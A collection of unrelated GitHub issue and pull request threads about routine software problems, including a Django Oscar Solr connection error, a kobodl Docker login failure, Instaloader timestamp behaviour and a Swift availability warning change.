Adds GitHub Configuration to automatically build the docker container when a GitHub Release is created.

Adds Command Line Arguments
Adds command line arguments to allow:

Using CPU instead of GPU
Specify output metadata filename when processing a single file (instead of printing to the console)
Specify filename to save fish mask to when processing a single file
Specify filename to save visualization file when processing a single file

See https://github.com/hdr-bgnn/drexel_metadata/tree/release#running for details.

I found an additional change needed to be included in a workflow that uses relative file paths for input files.
I'm going to update my Summary of Changes comment above to reflect this addition.

@hlapp The code changes are ready for review by Kevin and Joel.

@kevinkarnani and @DrJPepper I'm re-assigning you for review and sign-off. Please see the revised changes summary here. I believe the proposed changes are now at the reasonable minimum for integrating the code's capability into a ML workflow.
(As an aside, making the model public is still pending citation / attribution metadata from @janemrc.)

@DrJPepper Would you mind creating a new release? That way a docker container with these changes should be built automatically. Thanks.


Login not possible using docker image on Arch Linux

Describe the issue
After pasting the captcha response I get a
pyperclip.PyperclipException:
    Pyperclip could not find a copy/paste mechanism for your system.

To Reproduce
Steps to reproduce the behavior:

Run docker run --rm -it --user $(id -u):$(id -g)   -v ${HOME}/.config:/home/config   ghcr.io/subdavis/kobodl   --config /home/config/kobodl.json user add
Enter your Kobo credentials (Why do I have to enter my password twice??)
Open https://authorize.kobo.com/signin in your Browser
Copy the JavaScript code to your browsers's console and execute it
Solve the captcha
Copy the captcha response and paste it into your terminal window

Expected behavior
I should be logged in
Desktop (please complete the following information):

OS: [Arch Linux]
Install method and python version: docker
Kobodl Version: No idea, i just ran the docker command above

@relthyg thanks, added a workaround in #99


Django Oscar doesn't see products

I was added a new category, then I was added product type, then I was added a product. *screenshoot
I can see my new category, but there is no products at all *screenshoot
But, I can view it on my site follow link localhost:8080/catalogue/zelenaia-kraska_6/
I get this link from dashboard (product -> actions -> view on site)
How to fix this problem?
CONSOLE:
`Failed to query Solr using '*:*': Failed to connect to server at 'http://<IP_ADDRESS>:8983/solr/select/?spellcheck=true&facet.query=price_exact%3A%5B0+TO+20%5D&facet.query=price_exact%3A%5B20+TO+40%5D&facet.query=price_exact%3A%5B40+TO+60%5D&facet.query=price_exact%3A%5B60+TO+%2A%5D&rows=1&fl=%2A+score&facet=on&facet.field=rating_exact&facet.field=product_class_exact&q=%2A%3A%2A&spellcheck.collate=true&wt=json&start=0&fq=category_exact%3A%28%22%D0%93%D0%BB%D0%B0%D0%B2%D0%BD%D0%BE%D0%B5%22%29&fq=django_ct%3A%28catalogue.product%29&spellcheck.count=1', are you sure that URL is correct? Checking it in a browser might help: HTTPConnectionPool(host='<IP_ADDRESS>', port=8983): Max retries exceeded with url: /solr/select/?spellcheck=true&facet.query=price_exact%3A%5B0+TO+20%5D&facet.query=price_exact%3A%5B20+TO+40%5D&facet.query=price_exact%3A%5B40+TO+60%5D&facet.query=price_exact%3A%5B60+TO+%2A%5D&rows=1&fl=%2A+score&facet=on&facet.field=rating_exact&facet.field=product_class_exact&q=%2A%3A%2A&spellcheck.collate=true&wt=json&start=0&fq=category_exact%3A%28%22%D0%93%D0%BB%D0%B0%D0%B2%D0%BD%D0%BE%D0%B5%22%29&fq=django_ct%3A%28catalogue.product%29&spellcheck.count=1 (Caused by NewConnectionError('<requests.packages.urllib3.connection.HTTPConnection object at 0x7f4c746459e8>: Failed to establish a new connection: [Errno 111] Connection refused',))
Traceback (most recent call last):
  File "/usr/local/lib/python3.4/dist-packages/requests/packages/urllib3/connection.py", line 141, in _new_conn
    (self.host, self.port), self.timeout, **extra_kw)
  File "/usr/local/lib/python3.4/dist-packages/requests/packages/urllib3/util/connection.py", line 83, in create_connection
    raise err
  File "/usr/local/lib/python3.4/dist-packages/requests/packages/urllib3/util/connection.py", line 73, in create_connection
    sock.connect(sa)
ConnectionRefusedError: [Errno 111] Connection refused

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/local/lib/python3.4/dist-packages/requests/packages/urllib3/connectionpool.py", line 600, in urlopen
    chunked=chunked)
  File "/usr/local/lib/python3.4/dist-packages/requests/packages/urllib3/connectionpool.py", line 356, in _make_request
    conn.request(method, url, **httplib_request_kw)
  File "/usr/lib/python3.4/http/client.py", line 1090, in request
    self._send_request(method, url, body, headers)
  File "/usr/lib/python3.4/http/client.py", line 1128, in _send_request
    self.endheaders(body)
  File "/usr/lib/python3.4/http/client.py", line 1086, in endheaders
    self._send_output(message_body)
  File "/usr/lib/python3.4/http/client.py", line 924, in _send_output
    self.send(msg)
  File "/usr/lib/python3.4/http/client.py", line 859, in send
    self.connect()
  File "/usr/local/lib/python3.4/dist-packages/requests/packages/urllib3/connection.py", line 166, in connect
    conn = self._new_conn()
  File "/usr/local/lib/python3.4/dist-packages/requests/packages/urllib3/connection.py", line 150, in _new_conn
    self, "Failed to establish a new connection: %s" % e)
requests.packages.urllib3.exceptions.NewConnectionError: <requests.packages.urllib3.connection.HTTPConnection object at 0x7f4c746459e8>: Failed to establish a new connection: [Errno 111] Connection refused

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/local/lib/python3.4/dist-packages/requests/adapters.py", line 423, in send
    timeout=timeout
  File "/usr/local/lib/python3.4/dist-packages/requests/packages/urllib3/connectionpool.py", line 649, in urlopen
    _stacktrace=sys.exc_info()[2])
  File "/usr/local/lib/python3.4/dist-packages/requests/packages/urllib3/util/retry.py", line 376, in increment
    raise MaxRetryError(_pool, url, error or ResponseError(cause))
requests.packages.urllib3.exceptions.MaxRetryError: HTTPConnectionPool(host='<IP_ADDRESS>', port=8983): Max retries exceeded with url: /solr/select/?spellcheck=true&facet.query=price_exact%3A%5B0+TO+20%5D&facet.query=price_exact%3A%5B20+TO+40%5D&facet.query=price_exact%3A%5B40+TO+60%5D&facet.query=price_exact%3A%5B60+TO+%2A%5D&rows=1&fl=%2A+score&facet=on&facet.field=rating_exact&facet.field=product_class_exact&q=%2A%3A%2A&spellcheck.collate=true&wt=json&start=0&fq=category_exact%3A%28%22%D0%93%D0%BB%D0%B0%D0%B2%D0%BD%D0%BE%D0%B5%22%29&fq=django_ct%3A%28catalogue.product%29&spellcheck.count=1 (Caused by NewConnectionError('<requests.packages.urllib3.connection.HTTPConnection object at 0x7f4c746459e8>: Failed to establish a new connection: [Errno 111] Connection refused',))

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/local/lib/python3.4/dist-packages/pysolr.py", line 366, in _send_request
    timeout=self.timeout)
  File "/usr/local/lib/python3.4/dist-packages/requests/sessions.py", line 501, in get
    return self.request('GET', url, **kwargs)
  File "/usr/local/lib/python3.4/dist-packages/requests/sessions.py", line 488, in request
    resp = self.send(prep, **send_kwargs)
  File "/usr/local/lib/python3.4/dist-packages/requests/sessions.py", line 609, in send
    r = adapter.send(request, **kwargs)
  File "/usr/local/lib/python3.4/dist-packages/requests/adapters.py", line 487, in send
    raise ConnectionError(e, request=request)
requests.exceptions.ConnectionError: HTTPConnectionPool(host='<IP_ADDRESS>', port=8983): Max retries exceeded with url: /solr/select/?spellcheck=true&facet.query=price_exact%3A%5B0+TO+20%5D&facet.query=price_exact%3A%5B20+TO+40%5D&facet.query=price_exact%3A%5B40+TO+60%5D&facet.query=price_exact%3A%5B60+TO+%2A%5D&rows=1&fl=%2A+score&facet=on&facet.field=rating_exact&facet.field=product_class_exact&q=%2A%3A%2A&spellcheck.collate=true&wt=json&start=0&fq=category_exact%3A%28%22%D0%93%D0%BB%D0%B0%D0%B2%D0%BD%D0%BE%D0%B5%22%29&fq=django_ct%3A%28catalogue.product%29&spellcheck.count=1 (Caused by NewConnectionError('<requests.packages.urllib3.connection.HTTPConnection object at 0x7f4c746459e8>: Failed to establish a new connection: [Errno 111] Connection refused',))

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/local/lib/python3.4/dist-packages/haystack/backends/solr_backend.py", line 134, in search
    raw_results = self.conn.search(query_string, **search_kwargs)
  File "/usr/local/lib/python3.4/dist-packages/pysolr.py", line 720, in search
    response = self._select(params, handler=search_handler)
  File "/usr/local/lib/python3.4/dist-packages/pysolr.py", line 418, in _select
    return self._send_request('get', path)
  File "/usr/local/lib/python3.4/dist-packages/pysolr.py", line 375, in _send_request
    raise SolrError(error_message % params)
pysolr.SolrError: Failed to connect to server at 'http://<IP_ADDRESS>:8983/solr/select/?spellcheck=true&facet.query=price_exact%3A%5B0+TO+20%5D&facet.query=price_exact%3A%5B20+TO+40%5D&facet.query=price_exact%3A%5B40+TO+60%5D&facet.query=price_exact%3A%5B60+TO+%2A%5D&rows=1&fl=%2A+score&facet=on&facet.field=rating_exact&facet.field=product_class_exact&q=%2A%3A%2A&spellcheck.collate=true&wt=json&start=0&fq=category_exact%3A%28%22%D0%93%D0%BB%D0%B0%D0%B2%D0%BD%D0%BE%D0%B5%22%29&fq=django_ct%3A%28catalogue.product%29&spellcheck.count=1', are you sure that URL is correct? Checking it in a browser might help: HTTPConnectionPool(host='<IP_ADDRESS>', port=8983): Max retries exceeded with url: /solr/select/?spellcheck=true&facet.query=price_exact%3A%5B0+TO+20%5D&facet.query=price_exact%3A%5B20+TO+40%5D&facet.query=price_exact%3A%5B40+TO+60%5D&facet.query=price_exact%3A%5B60+TO+%2A%5D&rows=1&fl=%2A+score&facet=on&facet.field=rating_exact&facet.field=product_class_exact&q=%2A%3A%2A&spellcheck.collate=true&wt=json&start=0&fq=category_exact%3A%28%22%D0%93%D0%BB%D0%B0%D0%B2%D0%BD%D0%BE%D0%B5%22%29&fq=django_ct%3A%28catalogue.product%29&spellcheck.count=1 (Caused by NewConnectionError('<requests.packages.urllib3.connection.HTTPConnection object at 0x7f4c746459e8>: Failed to establish a new connection: [Errno 111] Connection refused',))
Failed to query Solr using '*:*': Failed to connect to server at 'http://<IP_ADDRESS>:8983/solr/select/?spellcheck=true&facet.query=price_exact%3A%5B0+TO+20%5D&facet.query=price_exact%3A%5B20+TO+40%5D&facet.query=price_exact%3A%5B40+TO+60%5D&facet.query=price_exact%3A%5B60+TO+%2A%5D&rows=0&fl=%2A+score&facet=on&facet.field=rating_exact&facet.field=product_class_exact&q=%2A%3A%2A&spellcheck.collate=true&wt=json&start=0&fq=category_exact%3A%28%22%D0%93%D0%BB%D0%B0%D0%B2%D0%BD%D0%BE%D0%B5%22%29&fq=django_ct%3A%28catalogue.product%29&spellcheck.count=1', are you sure that URL is correct? Checking it in a browser might help: HTTPConnectionPool(host='<IP_ADDRESS>', port=8983): Max retries exceeded with url: /solr/select/?spellcheck=true&facet.query=price_exact%3A%5B0+TO+20%5D&facet.query=price_exact%3A%5B20+TO+40%5D&facet.query=price_exact%3A%5B40+TO+60%5D&facet.query=price_exact%3A%5B60+TO+%2A%5D&rows=0&fl=%2A+score&facet=on&facet.field=rating_exact&facet.field=product_class_exact&q=%2A%3A%2A&spellcheck.collate=true&wt=json&start=0&fq=category_exact%3A%28%22%D0%93%D0%BB%D0%B0%D0%B2%D0%BD%D0%BE%D0%B5%22%29&fq=django_ct%3A%28catalogue.product%29&spellcheck.count=1 (Caused by NewConnectionError('<requests.packages.urllib3.connection.HTTPConnection object at 0x7f4c745e16d8>: Failed to establish a new connection: [Errno 111] Connection refused',))
Traceback (most recent call last):
  File "/usr/local/lib/python3.4/dist-packages/requests/packages/urllib3/connection.py", line 141, in _new_conn
    (self.host, self.port), self.timeout, **extra_kw)
  File "/usr/local/lib/python3.4/dist-packages/requests/packages/urllib3/util/connection.py", line 83, in create_connection
    raise err
  File "/usr/local/lib/python3.4/dist-packages/requests/packages/urllib3/util/connection.py", line 73, in create_connection
    sock.connect(sa)
ConnectionRefusedError: [Errno 111] Connection refused

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/local/lib/python3.4/dist-packages/requests/packages/urllib3/connectionpool.py", line 600, in urlopen
    chunked=chunked)
  File "/usr/local/lib/python3.4/dist-packages/requests/packages/urllib3/connectionpool.py", line 356, in _make_request
    conn.request(method, url, **httplib_request_kw)
  File "/usr/lib/python3.4/http/client.py", line 1090, in request
    self._send_request(method, url, body, headers)
  File "/usr/lib/python3.4/http/client.py", line 1128, in _send_request
    self.endheaders(body)
  File "/usr/lib/python3.4/http/client.py", line 1086, in endheaders
    self._send_output(message_body)
  File "/usr/lib/python3.4/http/client.py", line 924, in _send_output
    self.send(msg)
  File "/usr/lib/python3.4/http/client.py", line 859, in send
    self.connect()
  File "/usr/local/lib/python3.4/dist-packages/requests/packages/urllib3/connection.py", line 166, in connect
    conn = self._new_conn()
  File "/usr/local/lib/python3.4/dist-packages/requests/packages/urllib3/connection.py", line 150, in _new_conn
    self, "Failed to establish a new connection: %s" % e)
requests.packages.urllib3.exceptions.NewConnectionError: <requests.packages.urllib3.connection.HTTPConnection object at 0x7f4c745e16d8>: Failed to establish a new connection: [Errno 111] Connection refused

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/local/lib/python3.4/dist-packages/requests/adapters.py", line 423, in send
    timeout=timeout
  File "/usr/local/lib/python3.4/dist-packages/requests/packages/urllib3/connectionpool.py", line 649, in urlopen
    _stacktrace=sys.exc_info()[2])
  File "/usr/local/lib/python3.4/dist-packages/requests/packages/urllib3/util/retry.py", line 376, in increment
    raise MaxRetryError(_pool, url, error or ResponseError(cause))
requests.packages.urllib3.exceptions.MaxRetryError: HTTPConnectionPool(host='<IP_ADDRESS>', port=8983): Max retries exceeded with url: /solr/select/?spellcheck=true&facet.query=price_exact%3A%5B0+TO+20%5D&facet.query=price_exact%3A%5B20+TO+40%5D&facet.query=price_exact%3A%5B40+TO+60%5D&facet.query=price_exact%3A%5B60+TO+%2A%5D&rows=0&fl=%2A+score&facet=on&facet.field=rating_exact&facet.field=product_class_exact&q=%2A%3A%2A&spellcheck.collate=true&wt=json&start=0&fq=category_exact%3A%28%22%D0%93%D0%BB%D0%B0%D0%B2%D0%BD%D0%BE%D0%B5%22%29&fq=django_ct%3A%28catalogue.product%29&spellcheck.count=1 (Caused by NewConnectionError('<requests.packages.urllib3.connection.HTTPConnection object at 0x7f4c745e16d8>: Failed to establish a new connection: [Errno 111] Connection refused',))

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/local/lib/python3.4/dist-packages/pysolr.py", line 366, in _send_request
    timeout=self.timeout)
  File "/usr/local/lib/python3.4/dist-packages/requests/sessions.py", line 501, in get
    return self.request('GET', url, **kwargs)
  File "/usr/local/lib/python3.4/dist-packages/requests/sessions.py", line 488, in request
    resp = self.send(prep, **send_kwargs)
  File "/usr/local/lib/python3.4/dist-packages/requests/sessions.py", line 609, in send
    r = adapter.send(request, **kwargs)
  File "/usr/local/lib/python3.4/dist-packages/requests/adapters.py", line 487, in send
    raise ConnectionError(e, request=request)
requests.exceptions.ConnectionError: HTTPConnectionPool(host='<IP_ADDRESS>', port=8983): Max retries exceeded with url: /solr/select/?spellcheck=true&facet.query=price_exact%3A%5B0+TO+20%5D&facet.query=price_exact%3A%5B20+TO+40%5D&facet.query=price_exact%3A%5B40+TO+60%5D&facet.query=price_exact%3A%5B60+TO+%2A%5D&rows=0&fl=%2A+score&facet=on&facet.field=rating_exact&facet.field=product_class_exact&q=%2A%3A%2A&spellcheck.collate=true&wt=json&start=0&fq=category_exact%3A%28%22%D0%93%D0%BB%D0%B0%D0%B2%D0%BD%D0%BE%D0%B5%22%29&fq=django_ct%3A%28catalogue.product%29&spellcheck.count=1 (Caused by NewConnectionError('<requests.packages.urllib3.connection.HTTPConnection object at 0x7f4c745e16d8>: Failed to establish a new connection: [Errno 111] Connection refused',))

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/local/lib/python3.4/dist-packages/haystack/backends/solr_backend.py", line 134, in search
    raw_results = self.conn.search(query_string, **search_kwargs)
  File "/usr/local/lib/python3.4/dist-packages/pysolr.py", line 720, in search
    response = self._select(params, handler=search_handler)
  File "/usr/local/lib/python3.4/dist-packages/pysolr.py", line 418, in _select
    return self._send_request('get', path)
  File "/usr/local/lib/python3.4/dist-packages/pysolr.py", line 375, in _send_request
    raise SolrError(error_message % params)
pysolr.SolrError: Failed to connect to server at 'http://<IP_ADDRESS>:8983/solr/select/?spellcheck=true&facet.query=price_exact%3A%5B0+TO+20%5D&facet.query=price_exact%3A%5B20+TO+40%5D&facet.query=price_exact%3A%5B40+TO+60%5D&facet.query=price_exact%3A%5B60+TO+%2A%5D&rows=0&fl=%2A+score&facet=on&facet.field=rating_exact&facet.field=product_class_exact&q=%2A%3A%2A&spellcheck.collate=true&wt=json&start=0&fq=category_exact%3A%28%22%D0%93%D0%BB%D0%B0%D0%B2%D0%BD%D0%BE%D0%B5%22%29&fq=django_ct%3A%28catalogue.product%29&spellcheck.count=1', are you sure that URL is correct? Checking it in a browser might help: HTTPConnectionPool(host='<IP_ADDRESS>', port=8983): Max retries exceeded with url: /solr/select/?spellcheck=true&facet.query=price_exact%3A%5B0+TO+20%5D&facet.query=price_exact%3A%5B20+TO+40%5D&facet.query=price_exact%3A%5B40+TO+60%5D&facet.query=price_exact%3A%5B60+TO+%2A%5D&rows=0&fl=%2A+score&facet=on&facet.field=rating_exact&facet.field=product_class_exact&q=%2A%3A%2A&spellcheck.collate=true&wt=json&start=0&fq=category_exact%3A%28%22%D0%93%D0%BB%D0%B0%D0%B2%D0%BD%D0%BE%D0%B5%22%29&fq=django_ct%3A%28catalogue.product%29&spellcheck.count=1 (Caused by NewConnectionError('<requests.packages.urllib3.connection.HTTPConnection object at 0x7f4c745e16d8>: Failed to establish a new connection: [Errno 111] Connection refused',))
/usr/lib/python3.4/importlib/_bootstrap.py:321: RemovedInDjango110Warning: django.core.context_processors is deprecated in favor of django.template.context_processors.
  return f(*args, **kwds)

[11/Mar/2017 20:34:38] "GET /catalogue/category/glavnoe_2/ HTTP/1.1" 200 25858
Not Found: /media/cache/17/d5/17d59725435216b0e455fcb9659a84f3.jpg
Internal Server Error: /media/cache/17/d5/17d59725435216b0e455fcb9659a84f3.jpg
Traceback (most recent call last):
  File "/usr/local/lib/python3.4/dist-packages/django/contrib/sites/models.py", line 44, in _get_site_by_request
    SITE_CACHE[host] = self.get(domain__iexact=host)
  File "/usr/local/lib/python3.4/dist-packages/django/db/models/manager.py", line 122, in manager_method
    return getattr(self.get_queryset(), name)(*args, **kwargs)
  File "/usr/local/lib/python3.4/dist-packages/django/db/models/query.py", line 387, in get
    self.model._meta.object_name
django.contrib.sites.models.DoesNotExist: Site matching query does not exist.

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/local/lib/python3.4/dist-packages/django/core/handlers/base.py", line 235, in get_response
    response = middleware_method(request, response)
  File "/usr/local/lib/python3.4/dist-packages/django/contrib/flatpages/middleware.py", line 11, in process_response
    return flatpage(request, request.path_info)
  File "/usr/local/lib/python3.4/dist-packages/django/contrib/flatpages/views.py", line 35, in flatpage
    site_id = get_current_site(request).id
  File "/usr/local/lib/python3.4/dist-packages/django/contrib/sites/shortcuts.py", line 15, in get_current_site
    return Site.objects.get_current(request)
  File "/usr/local/lib/python3.4/dist-packages/django/contrib/sites/models.py", line 67, in get_current
    return self._get_site_by_request(request)
  File "/usr/local/lib/python3.4/dist-packages/django/contrib/sites/models.py", line 52, in _get_site_by_request
    SITE_CACHE[domain] = self.get(domain__iexact=domain)
  File "/usr/local/lib/python3.4/dist-packages/django/db/models/manager.py", line 122, in manager_method
    return getattr(self.get_queryset(), name)(*args, **kwargs)
  File "/usr/local/lib/python3.4/dist-packages/django/db/models/query.py", line 387, in get
    self.model._meta.object_name
django.contrib.sites.models.DoesNotExist: Site matching query does not exist.
[11/Mar/2017 20:34:39] "GET /media/cache/17/d5/17d59725435216b0e455fcb9659a84f3.jpg HTTP/1.1" 500 128371
[11/Mar/2017 20:34:39] "GET /static/oscar/favicon.ico HTTP/1.1" 200 1150`

Try to compare your settings with django-oscar\sandbox\settings.py. Check configuration of HAYSTACK_CONNECTIONS, MEDIA_URL and MEDIA_ROOT.

I am experiencing the same problem.

Does it work with
HAYSTACK_CONNECTIONS = {     'default': {         'ENGINE': 'haystack.backends.simple_backend.SimpleEngine',     }, }
?

Yes it just worked for me. i changed my settings to
HAYSTACK_CONNECTIONS = {
'default': {
'ENGINE': 'haystack.backends.simple_backend.SimpleEngine',
'URL': 'http://<IP_ADDRESS>:8000/solr/default',
'INCLUDE_SPELLING': True,
},
}
and the products just showed up

You could remove other Haystack settings except 'ENGINE'. If you want to use Apache Solr as search backend you should see docs

Are there problems with the last elasticsearch engine? I saw that Haystack added recently support for lastest version.

Check SITE_ID settings as said in logs:

django.contrib.sites.models.DoesNotExist: Site matching query does not exist.

@okfish it is a very rarely problem.

Agree with @jklapuch - this looks like a configuration issue, please refer to the documentation mentioned above. For the support issues you can use mailing list. Thanks.

I seem to be running into the same issue and I have been trying to find a solution for a couple of hours now unsuccessfully. I know this is a closed issue but I would appreciate some help here. Thanks.

this is still a problem for a lot of people!!

There's a settiings that's not explained in docs:
OSCAR_PRODUCT_SEARCH_HANDLER = 'search.CustomSearchHandler'
I've added the search.CustomSearchHandler in the search/init.py

from django.conf import settings
from oscar.apps.search.search_handlers import  SearchHandler
from oscar.apps.catalogue.models import Product, Category
from oscar.core.loading import get_class, get_model

FacetMunger = get_class('search.facets', 'FacetMunger')
BrowseCategoryForm = get_class('search.forms', 'BrowseCategoryForm')

class CustomSearchHandler(SearchHandler):
    form_class = BrowseCategoryForm
    model_whitelist = [Product]
    paginate_by = settings.OSCAR_PRODUCTS_PER_PAGE

    def __init__(self, request_data, full_path, categories=None):
        self.categories = Category.objects.all() #categories
        #breakpoint()
        super().__init__(request_data, full_path)

But I'm stuck here, without results. from shell this return results:
 Product.objects.filter(categories=Category.objects.last().pk)
Is there an example to remove solr and hayastack and work with django default  capabilites https://docs.djangoproject.com/en/4.0/ref/contrib/postgres/search/?

Anyway I've temporary fixed showing all products adding this line to :
		search_context['products'] = Product.objects.all()
https://github.com/django-oscar/django-oscar/blob/ffcc530844d40283b6b1552778a140536b904f5f/src/oscar/apps/catalogue/views.py#L147
before      ctx.update(search_context).
This will show all products when calling URL http://host/catalogue/


TGI 1.4.0

Issue #, if available:
Description of changes:
Adding TGI 1.4.0
By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

Official TGI 1.4.0 PR: https://github.com/awslabs/llm-hosting-container/pull/54


Update deployment instructions

What type of PR is this?
documentation
Which issue does this PR fix:

Fixes #468 and #435
Add explanation on default service network
Fix broken image links
and minor nitpicks

What does this PR do / Why do we need it:
If an issue # is not available please add repro steps and logs from aws-gateway-controller showing the issue:
Testing done on this change:

Automation added to e2e:

Will this PR introduce any new dependencies?:

Will this break upgrades or downgrades. Has updating a running cluster been tested?:
Does this PR introduce any user-facing change?:

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.

Doc updates look good. Thanks for improving on the examples.


Long process blocking other scheduled tasks

Hi,
I have this code running:
schedule.every(1).minute.do(regular_task)
schedule.every(1).hour.do(some_long_running_task)

while True:
    schedule.run_pending()

Unfortunately, the "some_long_running_task" takes more than 1 minute to complete so the "regular_task" method is not called on time. Is there a way to ensure that "regular_task" is always called, possibly in a background thread so that even if "some_long_running_task" hasn't completed, the regular task is called?
Thanks

Sounds like you answered your own question. Delegate execution to other threads.
https://schedule.readthedocs.io/en/stable/faq.html#how-to-execute-jobs-in-parallel


Small issues resolved

Noticed that one of the POST requests was just left as an undefined variable "url" - and would never work. Assume it was supposed to be url="https://...." but got left out. Added the correct URL instead.
Also noted that Captcha OCR text would sometimes be appended with newline characters, so added rstrip() to remove those.

Thanks for these fixes. Sorry for the long delay in getting them merged!


Relocate/Rename individual files and continue seeding

No issue, just a question.  And this may be based in my ignorance of torrents in general, but:
For the application I'm building, it'd be preferable to rename files after downloading, but continue to seed them.  I know that in some graphical BitTorrent clients it's possible to rename a file and continue seeding it, but I'm not sure how I'd go about specifying changed filenames via webtorrent.  I see the option for setting the download directory, but that's not quite the same thing.  Is there some magic sauce I'm missing here?  Would webtorrent search that directory for content-identical files rather than searching by filename?

WebTorrent can't do that at the moment, but it'd be a nice feature.

Fair enough, I'll have to think on how I want to move forward here.  Thanks for the clarification.


How do I save data in the free version

How do I save data to localStorage and/or online DataBase in the free version

You can read out all layers on the map and save them as geojson to the localstorage or db.
var data = localStorage.getItem('data');
if(data){
	var geoLayer = L.geoJSON(JSON.parse(data)).addTo(map);
}

function saveToDb(){
	var allLayers = L.featureGroup();
        map.eachLayer(function(layer){
  	    if(layer instanceof L.Path || layer instanceof L.Marker){
    	      allLayers.addLayer(layer);
            }
         });
	var geojson = allLayers.toGeoJSON();
        localStorage.setItem('data', JSON.stringify(geojson));
}

Example: https://jsfiddle.net/falkedesign/1z3kxadL/

Is it possible to upload the data to a MySQL database?

@goodpeti you can upload the data to any database you like 😉 . That application logic is not part of this library though


Encapsulate the trained model in a Docker image

Is your feature request related to a problem? Please describe.
The IBM Model Asset Exchange provides a way to reuse models instead of having to train them manually.
Describe the solution you'd like
The trained model materials need to be packaged and shared through MAX.
Describe alternatives you've considered
Training the model each time for each platform.
Additional context
This could be related to any other Dockerization steps.

@vabarbosa Do you know who the right person is to explore this?

i've reached out to @gdequeiroz, @MLnick, and @ptitzler.
hopefully they will be able to provide some guidance.

Thank you @vabarbosa

Looks like this is the starting point for the process: https://github.com/CODAIT/max-central-repo#contributing-to-the-model-asset-exchange

I still think this could be some lower hanging fruit than encapsulating the setup code into Docker.

Partially done with @upkarlidder's Code Engine contribution in #44


Support cpp/deps.txt

🤔 What's changed?
Our cpp projects use deps.txt to list and download their dependencies. These should be automatically updated.
This is especially important because floating dependencies may break the build when we don't expect it to. E.g: https://github.com/cucumber/gherkin/pull/206
🏷 What kind of change is this?

:bank: Refactoring/debt/DX (improvement to code design, tooling, documentation etc. without changing behaviour)

@chybz and @ursfassler I've gone ahead and merging this. If this isn't how things are supposed to work with CPP, please let me know. I do reckon this will work for:

https://github.com/cucumber/gherkin/blob/main/cpp/deps.txt
https://github.com/cucumber/messages/blob/main/cpp/deps.txt

And I'm happy to refine that further.

@mpkorstanje and @ursfassler Thanks. That's my current "solution" on how to fix/improve dependency handling on C++. While specific to these two projects (for now), it's only used in when generating CMakeLists.txt files using cmate tool.

Alright no problem. If you come up with something better, please just ping me and I'll have a look to see how we can update the dependencies automatically.


Instaloader downloads older highlights then in latest-stamps

Describe the bug
I'm using instaloader with --latest-stamps parameter, so I downloaded a profile with everything (posts, stories, highlights, igtvs), cleaned up photos/videos from the disk, and re-run instaloader with the same parameters, but it started to download photos/videos from highlights dated 2021, while in latest-timestamps.ini latest synchronized for this profile May 2022
To Reproduce
Steps to reproduce the behavior:
instaloader user_profile --login=my_login --password=my_pass --stories --highlights --tagged --igtv --no-metadata-json --no-profile-pic --no-captions --no-video-thumbnails --latest-stamps --dirname-pattern "D:\test"
Expected behavior
As stated in documentation, I should be able remove some old posts and instaloader should download it again with --latest-stamps option
Instaloader version
4.9.2

Your description is mixing things. The title says stories have a problem, the description talks about highlights. These are slightly different things.
Refering to the manual https://instaloader.github.io/cli-options.html?highlight=latest stamps#cmdoption-latest-stamps

Only works for media associated with a specific profile, and that is returned in chronological order: profile posts, profile stories, profile IGTV posts and profile tagged posts.

Sorry, that was a typo, fixed the title

Tested downloading of some small profile to a separate folder and here are my findings:
If --dirname-pattern parameter is specified, then regardless of using --fast-update or --latest-stamps params all media is downloaded to the specified directory and only one subdirectory called the same as a username you are downloading will be created within target directory and will contain covers for each highlights "folder"
If --dirname-pattern parameter isn't specified, then folders created for each highlights as in user's instagram profile. Works the same with --fast-update or --latest-stamps params.
So the reason issue happened - I downloaded user profiles to some main folder and later when decided to rename each user's folder to firstname_lastname and specify --dirname-pattern - old media that I cleaned up started to download to the "root" folder, as mentioned in the first behavior of this comment.
So ideally use one approach to the folder structure, with highlights folders or without. Easier to implement - without. But with folders, it's easier to browse contents.
Also with highlights folders if say a story was downloaded it will be stored in the user's folder and if later this story is added by a user to highlights, it will be stored in the appropriate highlights folder, so we'll end up with duplicates. Also if one story is added to different highlights and we use highlights folders (i.e. don't specify --dirname-pattern param) - the same media will be duplicated in different highlights folders.
So as a fix I can propose to add a check to go through all files in the target folder and try to find a media in the highlights subfolder and skip it if it already exists and don't download to the root folder when moving from one folder or all downloaded profiles to per person by specifying --dirname-pattern param.
The best solution would be to keep the highlights folder structure and use symlinks, to not waste disk space, so 1 media can show up in the root folder and different highlight folders and if a user deletes a media it will be removed everywhere

Hi,
I've also noticed that --latest-stamps doesn't work for highlights. Is there any workaround for this?
It would be cool if instaloader would save the timestamp of the latest highlight, and then discard any previous file (I mean, so files are not saved, even if they must be downloaded someway).
Thanks.


Warn about unnecessary availability independently from the deployment target

This change separates emission of the "unnecessary availability" diagnostics:
unnecessary check for 'Platform'; enclosing scope ensures guard will always be true

from the deployment target of the current compilation. Instead, these diagnostics will only be emitted if the enclosing scope guard is explicitly specified by the user with an #availability attribute.
This fixes cases like the following:
@available(macOS 11.0, *)
class Foo {
    func foo() {
        if #available(macOS 11.1, *) {}
    }
}

Compiling this with -target x86_64-apple-macos11.2 results in:
warning: unnecessary check for 'macOS'; enclosing scope ensures guard will always be true
        if #available(macOS 11.1, *) {}
.../test.swift:2:7: note: enclosing scope here
class Foo {

Even though in source-code the enclosing scope (Foo) of this guard does not ensure it will always be true.
This happens because availability range is propagated by intersecting ranges top-down from the root TypeRefinementContext, which is defined by the deployment target, causing the availability range on class Foo to become 11.2.
Users may be sharing the same piece of source-code across different projects with their own respective deployment targets which makes such target-dependent warnings confusing at some times, and not-useful at others.
We should rather have the warning simply reflect what is in the source.
Resolves rdar://77607488

@swift-ci please smoke test


[Patch 1.1.3][Flaky test]: ServerComparison.FunctionalTests.dll (1…untimeFlavor: CoreClr, architecture: x64, applicationBaseUrl on Ubuntu

System.AggregateException : One or more errors occurred. (A task was canceled.)
